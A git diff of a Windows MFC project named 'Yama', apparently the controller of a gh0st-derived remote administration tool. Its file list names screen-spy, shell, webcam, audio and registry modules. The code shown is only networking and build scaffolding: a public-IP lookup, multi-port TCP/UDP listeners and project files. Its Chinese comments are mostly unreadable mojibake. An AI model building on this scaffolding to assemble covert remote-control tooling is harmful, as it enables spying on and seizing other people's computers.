||||
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) {
|
||||
free(pAddresses);
|
||||
pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
|
||||
}
|
||||
|
||||
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) {
|
||||
for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) {
|
||||
for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) {
|
||||
char addressBuffer[INET6_ADDRSTRLEN] = { 0 };
|
||||
getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST);
|
||||
|
||||
if (ip == addressBuffer) {
|
||||
free(pAddresses);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
free(pAddresses);
|
||||
return false;
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP, <20><>ȡʧ<C8A1>ܷ<EFBFBD><DCB7>ؿ<EFBFBD>
|
||||
std::string getPublicIP() {
|
||||
HINTERNET hInternet, hConnect;
|
||||
DWORD bytesRead;
|
||||
char buffer[1024] = { 0 };
|
||||
|
||||
hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
||||
if (!hInternet) return "";
|
||||
|
||||
hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
|
||||
if (!hConnect) {
|
||||
InternetCloseHandle(hInternet);
|
||||
return "";
|
||||
}
|
||||
|
||||
InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
|
||||
InternetCloseHandle(hConnect);
|
||||
InternetCloseHandle(hInternet);
|
||||
|
||||
return std::string(buffer);
|
||||
}
|
||||
};
|
||||
@@ -1,44 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2012
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7} = {3F756E52-23C2-4EE4-A184-37CF788D50A7}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "..\client\TestRun.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "..\client\ghost.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.Build.0 = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.Build.0 = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.Build.0 = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -14,6 +14,7 @@
|
||||
#include <io.h>
|
||||
#include <direct.h>
|
||||
#include <DbgHelp.h>
|
||||
#include "IOCPUDPServer.h"
|
||||
#pragma comment(lib, "Dbghelp.lib")
|
||||
|
||||
CMy2015RemoteApp* GetThisApp() {
|
||||
@@ -21,7 +22,7 @@ CMy2015RemoteApp* GetThisApp() {
|
||||
}
|
||||
|
||||
config& GetThisCfg() {
|
||||
config *cfg = GetThisApp()->m_iniFile;
|
||||
config *cfg = GetThisApp()->GetCfg();
|
||||
return *cfg;
|
||||
}
|
||||
|
||||
@@ -76,7 +77,6 @@ CMy2015RemoteApp::CMy2015RemoteApp()
|
||||
m_Mutex = NULL;
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
m_iniFile = GetPwdHash() == masterHash ? new config : new iniFile;
|
||||
m_iocpServer = new IOCPServer();
|
||||
|
||||
srand(static_cast<unsigned int>(time(0)));
|
||||
}
|
||||
@@ -107,6 +107,12 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
|
||||
SetUnhandledExceptionFilter(&whenbuged);
|
||||
|
||||
SHFILEINFO sfi = {};
|
||||
HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_LARGEICON | SHGFI_SYSICONINDEX);
|
||||
m_pImageList_Large.Attach(hImageList);
|
||||
hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_SMALLICON | SHGFI_SYSICONINDEX);
|
||||
m_pImageList_Small.Attach(hImageList);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Windows XP <20>ϵ<EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD>嵥ָ<E5B5A5><D6B8>Ҫ
|
||||
// ʹ<><CAB9> ComCtl32.dll <20>汾 6 <20><><EFBFBD><EFBFBD><EFBFBD>߰汾<DFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF>ӻ<EFBFBD><D3BB><EFBFBD>ʽ<EFBFBD><CABD>
|
||||
//<2F><><EFBFBD><EFBFBD>Ҫ InitCommonControlsEx()<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><F2A3ACBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڡ<EFBFBD>
|
||||
@@ -132,9 +138,9 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ洢<DAB4><E6B4A2><EFBFBD>õ<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// TODO: Ӧ<>ʵ<EFBFBD><CAB5>ĸ<DEB8><C4B8>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>˾<EFBFBD><CBBE><EFBFBD><EFBFBD>֯<EFBFBD><D6AF>
|
||||
SetRegistryKey(_T("Remoter"));
|
||||
SetRegistryKey(_T("YAMA"));
|
||||
|
||||
CMy2015RemoteDlg dlg(m_iocpServer);
|
||||
CMy2015RemoteDlg dlg(nullptr);
|
||||
m_pMainWnd = &dlg;
|
||||
INT_PTR nResponse = dlg.DoModal();
|
||||
if (nResponse == IDOK)
|
||||
@@ -167,12 +173,8 @@ int CMy2015RemoteApp::ExitInstance()
|
||||
CloseHandle(m_Mutex);
|
||||
m_Mutex = NULL;
|
||||
}
|
||||
if (m_iocpServer != NULL)
|
||||
{
|
||||
m_iocpServer->Destroy();
|
||||
delete m_iocpServer;
|
||||
m_iocpServer = NULL;
|
||||
}
|
||||
Delete();
|
||||
|
||||
SAFE_DELETE(m_iniFile);
|
||||
|
||||
return CWinApp::ExitInstance();
|
||||
|
||||
@@ -11,23 +11,116 @@
|
||||
#include "resource.h" // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#include "common/iniFile.h"
|
||||
#include "IOCPServer.h"
|
||||
#include "IOCPUDPServer.h"
|
||||
|
||||
// CMy2015RemoteApp:
|
||||
// <20>йش<D0B9><D8B4><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2015Remote.cpp
|
||||
//
|
||||
|
||||
// ServerPair:
|
||||
// һ<><D2BB>SOCKET<45><54><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>: ͬʱ<CDAC><CAB1><EFBFBD><EFBFBD>TCP<43><50>UDP.
|
||||
class ServerPair
|
||||
{
|
||||
private:
|
||||
Server* m_tcpServer;
|
||||
Server* m_udpServer;
|
||||
public:
|
||||
ServerPair() : m_tcpServer(new IOCPServer), m_udpServer(new IOCPUDPServer) {}
|
||||
virtual ~ServerPair() { SAFE_DELETE(m_tcpServer); SAFE_DELETE(m_udpServer); }
|
||||
|
||||
BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) {
|
||||
UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort);
|
||||
if (ret1) MessageBox(NULL, CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>TCP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>: ") + std::to_string(uPort).c_str()
|
||||
+ CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: ") + std::to_string(ret1).c_str(), "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort);
|
||||
if (ret2) MessageBox(NULL, CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>UDP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>: ") + std::to_string(uPort).c_str()
|
||||
+ CString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: ") + std::to_string(ret2).c_str(), "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
return (ret1 == 0 || ret2 == 0);
|
||||
}
|
||||
|
||||
void UpdateMaxConnection(int maxConn) {
|
||||
if (m_tcpServer) m_tcpServer->UpdateMaxConnection(maxConn);
|
||||
if (m_udpServer) m_udpServer->UpdateMaxConnection(maxConn);
|
||||
}
|
||||
|
||||
void Destroy() {
|
||||
if (m_tcpServer) m_tcpServer->Destroy();
|
||||
if (m_udpServer) m_udpServer->Destroy();
|
||||
}
|
||||
|
||||
void Disconnect(CONTEXT_OBJECT* ctx) {
|
||||
if (m_tcpServer) m_tcpServer->Disconnect(ctx);
|
||||
if (m_udpServer) m_udpServer->Disconnect(ctx);
|
||||
}
|
||||
};
|
||||
|
||||
class CMy2015RemoteApp : public CWinApp
|
||||
{
|
||||
private:
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȡ<EFBFBD><C8A1>
|
||||
config* m_iniFile = nullptr;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
std::vector<ServerPair*> m_iocpServer;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HANDLE m_Mutex = nullptr;
|
||||
|
||||
public:
|
||||
CMy2015RemoteApp();
|
||||
config *m_iniFile;
|
||||
HANDLE m_Mutex;
|
||||
IOCPServer* m_iocpServer;
|
||||
// <20><>д
|
||||
public:
|
||||
|
||||
CImageList m_pImageList_Large; //ϵͳ<CFB5><CDB3>ͼ<EFBFBD><CDBC>
|
||||
CImageList m_pImageList_Small; //ϵͳСͼ<D0A1><CDBC>
|
||||
|
||||
virtual BOOL InitInstance();
|
||||
|
||||
// ʵ<><CAB5>
|
||||
config* GetCfg() const {
|
||||
return m_iniFile;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>0
|
||||
// nPortʾ<74><CABE>: 6543;7543
|
||||
UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, const std::string& uPort) {
|
||||
bool succeed = false;
|
||||
auto list = StringToVector(uPort, ';');
|
||||
for (int i=0; i<list.size(); ++i)
|
||||
{
|
||||
int port = std::atoi(list[i].c_str());
|
||||
auto svr = new ServerPair();
|
||||
BOOL ret = svr->StartServer(NotifyProc, OffProc, port);
|
||||
if (ret == FALSE) {
|
||||
SAFE_DELETE(svr);
|
||||
continue;
|
||||
}
|
||||
succeed = true;
|
||||
m_iocpServer.push_back(svr);
|
||||
}
|
||||
|
||||
return succeed ? 0 : -1;
|
||||
}
|
||||
|
||||
// <20>ͷŷ<CDB7><C5B7><EFBFBD><EFBFBD><EFBFBD> SOCKET
|
||||
void Destroy() {
|
||||
for (int i=0; i<m_iocpServer.size(); ++i)
|
||||
{
|
||||
m_iocpServer[i]->Destroy();
|
||||
}
|
||||
}
|
||||
|
||||
// <20>ͷŷ<CDB7><C5B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||||
void Delete() {
|
||||
for (int i = 0; i < m_iocpServer.size(); ++i)
|
||||
{
|
||||
SAFE_DELETE(m_iocpServer[i]);
|
||||
}
|
||||
m_iocpServer.clear();
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void UpdateMaxConnection(int maxConn) {
|
||||
for (int i = 0; i < m_iocpServer.size(); ++i)
|
||||
{
|
||||
m_iocpServer[i]->UpdateMaxConnection(maxConn);
|
||||
}
|
||||
}
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
virtual int ExitInstance();
|
||||
|
||||
Binary file not shown.
@@ -1,214 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}</ProjectGuid>
|
||||
<RootNamespace>My2015Remote</RootNamespace>
|
||||
<Keyword>MFCProj</Keyword>
|
||||
<ProjectName>Yama</ProjectName>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>Static</UseOfMfc>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>Static</UseOfMfc>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
<ValidateAllParameters>true</ValidateAllParameters>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</Midl>
|
||||
<ResourceCompile>
|
||||
<Culture>0x0804</Culture>
|
||||
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<StringPooling>true</StringPooling>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib.lib</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
<Midl>
|
||||
<MkTypLibCompatible>false</MkTypLibCompatible>
|
||||
<ValidateAllParameters>true</ValidateAllParameters>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</Midl>
|
||||
<ResourceCompile>
|
||||
<Culture>0x0804</Culture>
|
||||
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\2015Remote.ico" />
|
||||
<None Include="res\3.cur" />
|
||||
<None Include="res\4.cur" />
|
||||
<None Include="res\arrow.cur" />
|
||||
<None Include="res\audio.ico" />
|
||||
<None Include="res\bitmap\bmp00001.bmp" />
|
||||
<None Include="res\Bitmap\Online.bmp" />
|
||||
<None Include="res\bitmap\toolbar1.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_File.bmp" />
|
||||
<None Include="res\Bitmap\ToolBar_Main.bmp" />
|
||||
<None Include="res\cmdshell.ico" />
|
||||
<None Include="res\cursor5.cur" />
|
||||
<None Include="res\Cur\Drag.cur" />
|
||||
<None Include="res\Cur\MutiDrag.cur" />
|
||||
<None Include="res\dword.ico" />
|
||||
<None Include="res\file.ico" />
|
||||
<None Include="res\icon1.ico" />
|
||||
<None Include="res\My2015Remote.rc2" />
|
||||
<None Include="res\pc.ico" />
|
||||
<None Include="res\string.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="2015Remote.h" />
|
||||
<ClInclude Include="2015RemoteDlg.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioDlg.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="CpuUseage.h" />
|
||||
<ClInclude Include="EditDialog.h" />
|
||||
<ClInclude Include="FileManagerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="iniFile.h" />
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="IOCPServer.h" />
|
||||
<ClInclude Include="RegisterDlg.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
<ClInclude Include="ServicesDlg.h" />
|
||||
<ClInclude Include="SettingDlg.h" />
|
||||
<ClInclude Include="ShellDlg.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="SystemDlg.h" />
|
||||
<ClInclude Include="TalkDlg.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
<ClInclude Include="TrueColorToolBar.h" />
|
||||
<ClInclude Include="VideoDlg.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="2015Remote.cpp" />
|
||||
<ClCompile Include="2015RemoteDlg.cpp" />
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioDlg.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="BuildDlg.cpp" />
|
||||
<ClCompile Include="CpuUseage.cpp" />
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
<ClCompile Include="FileManagerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="iniFile.cpp" />
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="RegisterDlg.cpp" />
|
||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="ServicesDlg.cpp" />
|
||||
<ClCompile Include="SettingDlg.cpp" />
|
||||
<ClCompile Include="ShellDlg.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SystemDlg.cpp" />
|
||||
<ClCompile Include="TalkDlg.cpp" />
|
||||
<ClCompile Include="TrueColorToolBar.cpp" />
|
||||
<ClCompile Include="VideoDlg.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="..\..\ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\webcam.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
<ProjectExtensions>
|
||||
<VisualStudio>
|
||||
<UserProperties RESOURCE_FILE="2015Remote.rc" />
|
||||
</VisualStudio>
|
||||
</ProjectExtensions>
|
||||
</Project>
|
||||
@@ -1,312 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="主Dlg">
|
||||
<UniqueIdentifier>{c30c6669-7ee9-446c-9bfb-e472d534e2f2}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="真彩Bar">
|
||||
